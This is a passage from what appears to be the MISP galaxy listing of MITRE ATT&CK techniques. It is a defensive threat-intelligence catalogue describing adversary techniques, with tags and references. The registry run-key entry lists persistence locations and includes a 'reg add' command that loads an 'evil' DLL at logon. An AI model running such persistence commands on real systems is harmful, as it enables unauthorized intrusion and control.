Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)

The tag is: misp-galaxy:mitre-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - T1261"

Table 2136. Table References
Links
https://attack.mitre.org/techniques/T1261

Obtain Apple iOS enterprise distribution key pair and certificate - T1392

The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)

The tag is: misp-galaxy:mitre-attack-pattern="Obtain Apple iOS enterprise distribution key pair and certificate - T1392"

Table 2137. Table References
Links
https://attack.mitre.org/techniques/T1392

Analyze social and business relationships, interests, and affiliations - T1295

Social media provides insight into the target’s affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze social and business relationships, interests, and affiliations - T1295"

Table 2138. Table References
Links
https://attack.mitre.org/techniques/T1295

Install and configure hardware, network, and systems - T1336

An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)

The tag is: misp-galaxy:mitre-attack-pattern="Install and configure hardware, network, and systems - T1336"

Table 2139. Table References
Links
https://attack.mitre.org/techniques/T1336

Compromise 3rd party or closed-source vulnerability/exploit information - T1354

There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party or closed-source vulnerability/exploit information - T1354"

Table 2140. Table References
Links
https://attack.mitre.org/techniques/T1354

Discover new exploits and monitor exploit-provider forums - T1350

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)

The tag is: misp-galaxy:mitre-attack-pattern="Discover new exploits and monitor exploit-provider forums - T1350"

Table 2141. Table References
Links
https://attack.mitre.org/techniques/T1350
https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf

Acquire and/or use 3rd party software services - T1330

A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330"

Acquire and/or use 3rd party software services - T1330 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308" with estimative-language:likelihood-probability="almost-certain"

Table 2142. Table References
Links
https://attack.mitre.org/techniques/T1330

Acquire and/or use 3rd party infrastructure services - T1307

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"

Acquire and/or use 3rd party infrastructure services - T1307 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329" with estimative-language:likelihood-probability="almost-certain"

Table 2143. Table References
Links
https://attack.mitre.org/techniques/T1307

Acquire and/or use 3rd party software services - T1308

The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308"

Acquire and/or use 3rd party software services - T1308 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"

Table 2144. Table References
Links
https://attack.mitre.org/techniques/T1308

Test signature detection for file upload/email filters - T1361

An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)

The tag is: misp-galaxy:mitre-attack-pattern="Test signature detection for file upload/email filters - T1361"

Table 2145. Table References
Links
https://attack.mitre.org/techniques/T1361

Acquire and/or use 3rd party infrastructure services - T1329

The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"

Acquire and/or use 3rd party infrastructure services - T1329 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307" with estimative-language:likelihood-probability="almost-certain"

Table 2146. Table References
Links
https://attack.mitre.org/techniques/T1329

Acquire or compromise 3rd party signing certificates - T1310

Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310"

Acquire or compromise 3rd party signing certificates - T1310 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332" with estimative-language:likelihood-probability="almost-certain"

Table 2147. Table References
Links
https://attack.mitre.org/techniques/T1310

Abuse Device Administrator Access to Prevent Removal - T1401

A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.

The tag is: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401"

Table 2148. Table References
Links
https://attack.mitre.org/techniques/T1401
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

Compromise 3rd party infrastructure to support delivery - T1312

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312"

Compromise 3rd party infrastructure to support delivery - T1312 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"

Table 2149. Table References
Links
https://attack.mitre.org/techniques/T1312

Acquire or compromise 3rd party signing certificates - T1332

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is. (Citation: DiginotarCompromise)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332"

Acquire or compromise 3rd party signing certificates - T1332 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310" with estimative-language:likelihood-probability="almost-certain"

Table 2150. Table References
Links
https://attack.mitre.org/techniques/T1332

Compromise 3rd party infrastructure to support delivery - T1334

The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334"

Compromise 3rd party infrastructure to support delivery - T1334 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312" with estimative-language:likelihood-probability="almost-certain"

Table 2151. Table References
Links
https://attack.mitre.org/techniques/T1334

Human performs requested action of physical nature - T1385

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)

The tag is: misp-galaxy:mitre-attack-pattern="Human performs requested action of physical nature - T1385"

Table 2152. Table References
Links
https://attack.mitre.org/techniques/T1385

Abuse of iOS Enterprise App Signing Key - T1445

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple’s App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple’s App Store.

Platforms: iOS

The tag is: misp-galaxy:mitre-attack-pattern="Abuse of iOS Enterprise App Signing Key - T1445"

Abuse of iOS Enterprise App Signing Key - T1445 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 2153. Table References
Links
https://attack.mitre.org/techniques/T1445

Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.

App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

[Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)
[Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406)

Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target’s Google account to use the Google Play Store’s remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

The tag is: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475"

Table 2154. Table References
Links
https://attack.mitre.org/techniques/T1475
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html
http://dl.acm.org/citation.cfm?id=2592796
https://jon.oberheide.org/files/summercon12-bouncer.pdf
https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei
https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/
http://www.vvdveen.com/publications/BAndroid.pdf

Device Unlock Code Guessing or Brute Force - T1459

An adversary could make educated guesses of the device lock screen’s PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Device Unlock Code Guessing or Brute Force - T1459"

Device Unlock Code Guessing or Brute Force - T1459 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 2155. Table References
Links
https://attack.mitre.org/techniques/T1459

Assign KITs, KIQs, and/or intelligence requirements - T1238

Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)

The tag is: misp-galaxy:mitre-attack-pattern="Assign KITs, KIQs, and/or intelligence requirements - T1238"

Table 2156. Table References
Links
https://attack.mitre.org/techniques/T1238

Assess current holdings, needs, and wants - T1236

Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)

The tag is: misp-galaxy:mitre-attack-pattern="Assess current holdings, needs, and wants - T1236"

Table 2157. Table References
Links
https://attack.mitre.org/techniques/T1236

Submit KITs, KIQs, and intelligence requirements - T1237

Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)

The tag is: misp-galaxy:mitre-attack-pattern="Submit KITs, KIQs, and intelligence requirements - T1237"

Table 2158. Table References
Links
https://attack.mitre.org/techniques/T1237

Common, high volume protocols and software - T1321

Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary’s traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)

The tag is: misp-galaxy:mitre-attack-pattern="Common, high volume protocols and software - T1321"

Table 2159. Table References
Links
https://attack.mitre.org/techniques/T1321

Non-traditional or less attributable payment options - T1316

Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)

The tag is: misp-galaxy:mitre-attack-pattern="Non-traditional or less attributable payment options - T1316"

Table 2160. Table References
Links
https://attack.mitre.org/techniques/T1316

Choose pre-compromised persona and affiliated accounts - T1343

For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)

The tag is: misp-galaxy:mitre-attack-pattern="Choose pre-compromised persona and affiliated accounts - T1343"

Table 2161. Table References
Links
https://attack.mitre.org/techniques/T1343

Malicious or Vulnerable Built-in Device Functionality - T1473

The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - T1473"

Malicious or Vulnerable Built-in Device Functionality - T1473 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 2162. Table References
Links
https://attack.mitre.org/techniques/T1473

Identify vulnerabilities in third-party software libraries - T1389

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

The tag is: misp-galaxy:mitre-attack-pattern="Identify vulnerabilities in third-party software libraries - T1389"

Table 2163. Table References
Links
https://attack.mitre.org/techniques/T1389

Registry Run Keys / Startup Folder - T1060

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

The following Registry keys can control automatic startup of services during boot: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060"

Table 2164. Table References
Links
https://attack.mitre.org/techniques/T1060
https://capec.mitre.org/data/definitions/270.html
http://msdn.microsoft.com/en-us/library/aa376977
https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://technet.microsoft.com/en-us/sysinternals/bb963902

Exploit SS7 to Redirect Phone Calls/SMS - T1449

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker’s control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).

The tag is: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449"

Table 2165. Table References
Links
https://attack.mitre.org/techniques/T1449
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html
https://berlin.ccc.de/_{tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/}tobias/31c3-ss7-locate-track-manipulate.pdf]
https://www.youtube.com/watch?v=q0n5ySqbfdI
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf
https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/

Exfiltration Over Command and Control Channel - T1041

Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041"

Table 2166. Table References
Links
https://attack.mitre.org/techniques/T1041
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Assess security posture of physical locations - T1302

Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)

The tag is: misp-galaxy:mitre-attack-pattern="Assess security posture of physical locations - T1302"

Table 2167. Table References
Links
https://attack.mitre.org/techniques/T1302

Determine domain and IP address space - T1250

Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Determine domain and IP address space - T1250"

Table 2168. Table References
Links
https://attack.mitre.org/techniques/T1250

Research visibility gap of security vendors - T1290

If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)

The tag is: misp-galaxy:mitre-attack-pattern="Research visibility gap of security vendors - T1290"

Table 2169. Table References
Links
https://attack.mitre.org/techniques/T1290
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Exploit SS7 to Track Device Location - T1450

An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)

The tag is: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450"

Table 2170. Table References
Links
https://attack.mitre.org/techniques/T1450
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html
https://berlin.ccc.de/_{tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/}tobias/31c3-ss7-locate-track-manipulate.pdf]
https://www.youtube.com/watch?v=q0n5ySqbfdI
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Access Sensitive Data in Device Logs - T1413

On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device’s system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.

The tag is: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413"

Table 2171. Table References
Links
https://attack.mitre.org/techniques/T1413
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Stolen Developer Credentials or Signing Keys - T1441

An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer’s identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).

Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer’s identity.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Stolen Developer Credentials or Signing Keys - T1441"

Stolen Developer Credentials or Signing Keys - T1441 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 2172. Table References
Links
https://attack.mitre.org/techniques/T1441

Component Object Model and Distributed COM - T1175

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

The tag is: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175"

Table 2173. Table References
Links
https://attack.mitre.org/techniques/T1175
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

Develop social network persona digital footprint - T1342

Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"

Table 2174. Table References
Links
https://attack.mitre.org/techniques/T1342

Assess vulnerability of 3rd party vendors - T1298

Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)

The tag is: misp-galaxy:mitre-attack-pattern="Assess vulnerability of 3rd party vendors - T1298"

Table 2175. Table References
Links
https://attack.mitre.org/techniques/T1298

Manipulate App Store Rankings or Ratings - T1452

An adversary could use access to a compromised device’s credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).

The tag is: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452"

Table 2176. Table References
Links
https://attack.mitre.org/techniques/T1452

Acquire OSINT data sets and information - T1247

Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247"

Acquire OSINT data sets and information - T1247 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"

Table 2177. Table References
Links
https://attack.mitre.org/techniques/T1247

Acquire OSINT data sets and information - T1266

Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266"

Acquire OSINT data sets and information - T1266 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"

Table 2178. Table References
Links
https://attack.mitre.org/techniques/T1266

Acquire OSINT data sets and information - T1277

Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277"

Acquire OSINT data sets and information - T1277 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"

Table 2179. Table References
Links
https://attack.mitre.org/techniques/T1277

Assess opportunities created by business deals - T1299

